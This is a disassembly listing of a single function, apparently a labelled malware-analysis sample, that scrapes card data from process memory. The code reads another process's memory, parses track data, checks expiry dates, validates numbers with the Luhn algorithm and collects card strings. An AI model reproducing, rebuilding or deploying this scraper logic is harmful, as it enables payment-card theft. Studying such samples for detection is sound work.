Function at 0x401093
Capabilities:
Parse credit card information
Validate payment card number using luhn algorithm

Disassembly:
sub rsp, 8
sub rsp, 0x20
jmp 0x401014
lea rcx, [0x0040100a]
call qword [sym.imp.kernel32.dll_LoadLibraryA]
add rsp, 0x20
cmp rax, 0
je 0x401086
sub rsp, 0x20
mov rcx, rax
jmp 0x401047
lea rdx, [0x00401034]
call qword [sym.imp.kernel32.dll_GetProcAddress]
add rsp, 0x20
cmp rax, 0
je 0x401086
push 0
sub rsp, 0x20
mov rcx, 0x14
mov rdx, 1
mov r8, 0
mov r9, rsp
call rax
add rsp, 0x20
add rsp, 8
sub rsp, 0x20
call fcn.004017da
add rsp, 0x20
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp - 0x30], 0
mov dword [rbp - 0x2c], 0
mov dword [rbp - 0x28], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x20], 0
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0x18], 0
mov dword [rbp - 0x14], 0
mov dword [rbp - 0x10], 0
mov dword [rbp - 0xc], 0
mov dword [rbp - 8], 0
mov dword [rbp - 4], 0
mov qword [rbp + 0x10], rcx
mov rsi, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov qword [rsi + 0x174], rax
mov rbx, qword [rbp + 0x10]
add rbx, 8
mov rbx, qword [rbx]
mov qword [rsi + 0x17c], rbx
mov qword [rsi + 0x164], 0
mov dword [rsi + 0x160], 0
sub rsp, 0x20
lea rcx, [rbp - 0x30]
mov rdx, 0x30
call qword [sym.imp.kernel32.dll_RtlZeroMemory]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rsi + 0x174]
mov rdx, qword [rsi + 0x164]
lea r8, [rbp - 0x30]
mov r9, 0x30
call qword [sym.imp.kernel32.dll_VirtualQueryEx]
add rsp, 0x20
cmp rax, 0
jne 0x401177
jmp 0x401783
mov rbx, qword [rbp - 0x30]
add rbx, qword [rbp - 0x18]
cmp qword [rsi + 0x164], rbx
ja 0x401192
cmp qword [rbp - 0x30], 0x7ffe0000
jb 0x401197
jmp 0x401783
cmp dword [rbp - 0x10], 0x1000
jne 0x4011ae
cmp dword [rbp - 0xc], 1
je 0x4011ae
cmp byte [rbp - 0xb], 1
je 0x4011ae
jmp 0x4011bf
mov rax, qword [rbp - 0x30]
add rax, qword [rbp - 0x18]
mov qword [rsi + 0x164], rax
jmp 0x401145
cmp qword [rbp - 0x18], 0x7cf80
jbe 0x4011d2
mov rbx, 0x7cf80
jmp 0x4011d6
mov rbx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x30]
add rax, rbx
mov qword [rsi + 0x164], rax
mov qword [rsi + 0x194], rbx
sub rsp, 0x30
mov rcx, qword [rsi + 0x174]
mov rdx, qword [rbp - 0x30]
mov r8, qword [rsi + 0x17c]
mov r9, qword [rsi + 0x194]
lea rax, [rsi + 0x184]
mov qword [rsp + 0x20], rax
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
add rsp, 0x30
cmp dword [rsi + 0x184], 0
jne 0x40122c
jmp 0x401145
xor rbx, rbx
mov ebx, dword [rsi + 0x184]
mov qword [rsi + 0x194], rbx
mov rax, qword [rbp - 0x30]
add rax, rbx
mov qword [rsi + 0x164], rax
mov qword [rsi + 0x18c], 0
cmp qword [rsi + 0x18c], 0x32000
je 0x40126f
cmp qword [rsi + 0x18c], 0x64000
jne 0x401284
sub rsp, 0x20
mov rcx, 1
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
mov rax, qword [rsi + 0x18c]
cmp rax, qword [rsi + 0x194]
jae 0x40177e
mov rbx, qword [rsi + 0x17c]
add rbx, qword [rsi + 0x18c]
cmp byte [rbx], 0x33
je 0x4012be
cmp byte [rbx], 0x34
je 0x4012be
cmp byte [rbx], 0x35
je 0x4012be
cmp byte [rbx], 0x36
jne 0x401772
mov dword [rsi + 0x19c], 0
mov dword [rsi + 0x1a0], 0
mov dword [rsi + 0x1a8], 0
mov dword [rsi + 0x1ac], 0
mov qword [rsi + 0x1b0], 0
cmp byte [rbx + 1], 0
jne 0x401303
mov dword [rsi + 0x1a4], 1
jmp 0x40130d
mov dword [rsi + 0x1a4], 0
xor r13, r13
mov dword [rsi + 0x19c], 0
inc byte [rsi + 0x19c]
inc r13
cmp byte [rsi + 0x1a4], 1
jne 0x40132f
inc r13
mov r12, rbx
add r12, r13
cmp byte [r12], 0x30
jb 0x401343
cmp byte [r12], 0x39
jbe 0x40135f
cmp byte [r12], 0x5e
je 0x40135f
cmp byte [r12], 0x3d
je 0x40135f
cmp byte [r12], 0x44
je 0x40135f
cmp byte [r12], 0x64
jne 0x401361
jmp 0x401366
jmp 0x401772
cmp byte [r12], 0x30
jb 0x40137a
cmp byte [r12], 0x39
ja 0x40137a
inc byte [rsi + 0x19c]
cmp byte [r12], 0x5e
je 0x401396
cmp byte [r12], 0x3d
je 0x401396
cmp byte [r12], 0x44
je 0x401396
cmp byte [r12], 0x64
jne 0x4013db
cmp byte [rsi + 0x19c], 0xd
jae 0x4013a4
jmp 0x401772
cmp byte [r12], 0x5e
jne 0x4013b5
mov dword [rsi + 0x1a8], 1
cmp byte [r12], 0x3d
je 0x4013ca
cmp byte [r12], 0x44
je 0x4013ca
cmp byte [r12], 0x64
jne 0x4013d9
mov byte [r12], 0x3d
mov dword [rsi + 0x1a8], 2
jmp 0x4013ee
cmp byte [rsi + 0x19c], 0x10
jbe 0x4013e9
jmp 0x401772
jmp 0x401320
xor rax, rax
xor rbx, rbx
xor r12, r12
xor r13, r13
cmp byte [rsi + 0x1a8], 1
jne 0x401408
cmp ebx, 0x78
ja 0x401416
cmp byte [rsi + 0x1a8], 2
jne 0x40141b
cmp ebx, 0x3c
jbe 0x40141b
jmp 0x401557
mov r13, qword [rsi + 0x17c]
add r13, qword [rsi + 0x18c]
add r13, rbx
cmp byte [rsi + 0x1a4], 1
jne 0x401438
add r13, rbx
mov r13, qword [r13]
cmp byte [rsi + 0x1a8], 1
jne 0x40144e
cmp byte [rsi + 0x1ac], 0
je 0x401460
cmp byte [rsi + 0x1a8], 2
jne 0x401477
cmp byte [rsi + 0x1ac], 0
jne 0x401477
cmp r13b, 0x30
jb 0x401477
cmp r13b, 0x39
ja 0x401477
mov byte [rsi + r12 + 0x1b8], r13b
inc r12
cmp byte [rsi + 0x1a8], 1
jne 0x4014b1
cmp byte [rsi + 0x1ac], 1
jne 0x4014b1
cmp r13b, 0x5e
je 0x4014b1
cmp r13b, 0x3d
je 0x4014b1
cmp r13b, 0
jbe 0x4014b1
cmp r13b, 0x7c
jne 0x4014a6
jmp 0x401772
mov byte [rsi + r12 + 0x1b8], r13b
inc r12
cmp byte [rsi + 0x1a8], 1
jne 0x4014c3
cmp byte [rsi + 0x1ac], 2
je 0x4014d5
cmp byte [rsi + 0x1a8], 2
jne 0x4014f6
cmp byte [rsi + 0x1ac], 1
jne 0x4014f6
cmp r13b, 0x30
jb 0x4014e1
cmp r13b, 0x39
jbe 0x4014e7
cmp r13b, 0x20
jne 0x4014f4
mov byte [rsi + r12 + 0x1b8], r13b
inc r12
jmp 0x4014f6
jmp 0x401557
cmp byte [rsi + 0x1a8], 1
jne 0x401505
cmp r13b, 0x5e
je 0x401514
cmp byte [rsi + 0x1a8], 2
jne 0x401550
cmp r13b, 0x3d
jne 0x401550
mov byte [rsi + r12 + 0x1b8], r13b
inc r12
inc byte [rsi + 0x1ac]
cmp byte [rsi + 0x1a8], 1
jne 0x401537
cmp byte [rsi + 0x1ac], 2
je 0x401549
cmp byte [rsi + 0x1a8], 2
jne 0x401550
cmp byte [rsi + 0x1ac], 1
jne 0x401550
mov qword [rsi + 0x1b0], r12
inc ebx
jmp 0x4013fa
mov byte [rsi + r12 + 0x1b8], 0
mov rbx, qword [rsi + 0x1b0]
sub r12, rbx
cmp r12, 4
jae 0x40157b
cmp rbx, 0
jbe 0x40157b
jmp 0x401772
xor rax, rax
xor rdx, rdx
mov al, byte [rsi + rbx + 0x1b8]
inc rbx
mov dl, byte [rsi + rbx + 0x1b8]
inc rbx
sub al, 0x30
sub dl, 0x30
imul ax, ax, 0xa
add rax, rdx
mov rdx, rbx
sub rdx, qword [rsi + 0x1b0]
cmp rdx, 2
jne 0x4015bd
cmp rax, 0x11
jb 0x4015bd
cmp rax, 0x1a
jbe 0x4015cf
cmp rdx, 4
jne 0x4015d1
cmp rax, 1
jb 0x4015d1
cmp rax, 0xc
ja 0x4015d1
jmp 0x4015d6
jmp 0x401772
cmp rdx, 4
jae 0x4015de
jmp 0x40157b
cmp byte [rsi + rbx + 0x1b8], 0x30
je 0x4015f2
cmp byte [rsi + rbx + 0x1b8], 0
jne 0x4015f7
jmp 0x401772
xor rbx, rbx
mov dword [rsi + 0x1a0], 0
cmp ebx, 0
jne 0x40162d
mov eax, dword [rsi + 0x19c]
mov ah, 0
mov dl, 2
div dl
cmp ah, 0
jne 0x401621
mov edx, 1
jmp 0x401626
mov edx, 0
sub byte [rsi + 0x19c], 2
xor eax, eax
mov al, byte [rsi + rbx + 0x1b8]
sub al, 0x30
cmp edx, 1
jne 0x40164f
imul eax, eax, 2
cmp eax, 9
jbe 0x401648
sub eax, 9
mov edx, 0
jmp 0x401654
mov edx, 1
add dword [rsi + 0x1a0], eax
cmp ebx, dword [rsi + 0x19c]
jae 0x401666
inc ebx
jmp 0x401604
inc ebx
mov eax, dword [rsi + 0x1a0]
mov ah, 0
mov dl, 0xa
div dl
cmp ah, 0
je 0x40167f
mov al, 0xa
sub al, ah
mov ah, al
add ah, 0x30
cmp byte [rsi + rbx + 0x1b8], ah
je 0x401690
jmp 0x401772
lea rbx, [rsi + 0x1b8]
mov dword [rbx + 0x78], 0
sub rsp, 0x20
mov rcx, rbx
call qword [sym.imp.kernel32.dll_lstrlenA]
add rsp, 0x20
mov dword [rbx + rax], 0xa0d
xor rbx, rbx
mov rax, rbx
imul rax, rax, 0x80
cmp rax, 0x20000
jbe 0x4016d0
jmp 0x401783
add rax, qword [rbp + 0x10]
add rax, 0x400
cmp byte [rax], 0
jbe 0x401743
xor rcx, rcx
xor rdi, rdi
mov edx, dword [rsi + rcx + 0x1b8]
mov rdi, rax
add rdi, rcx
cmp dword [rdi], edx
jne 0x40173b
cmp rcx, 0x10
jne 0x401735
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.kernel32.dll_lstrlenA]
add rsp, 0x20
mov rdi, rax
lea rax, [rsi + 0x1b8]
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.kernel32.dll_lstrlenA]
add rsp, 0x20
cmp rax, rdi
jbe 0x401731
jmp 0x401743
jmp 0x401772
add rcx, 4
jmp 0x4016e5
inc rbx
jmp 0x4016b9
mov rax, rbx
imul rax, rax, 0x80
add rax, qword [rbp + 0x10]
add rax, 0x400
lea rbx, [rsi + 0x1b8]
sub rsp, 0x20
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.kernel32.dll_lstrcpyA]
add rsp, 0x20
inc qword [rsi + 0x18c]
jmp 0x401255
jmp 0x401145
xor rbx, rbx
inc rbx
mov rax, rbx
imul rax, rax, 0x80
add rax, qword [rbp + 0x10]
add rax, 0x400
cmp byte [rax], 0
jbe 0x4017c3
mov r15, qword [rbp + 0x10]
add r15, 0x400
sub rsp, 0x20
mov rcx, r15
mov rdx, rax
call qword [sym.imp.kernel32.dll_lstrcatA]
add rsp, 0x20
jmp 0x401786
sub rsp, 0x20
mov rcx, qword [rsi + 0x174]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
leave
ret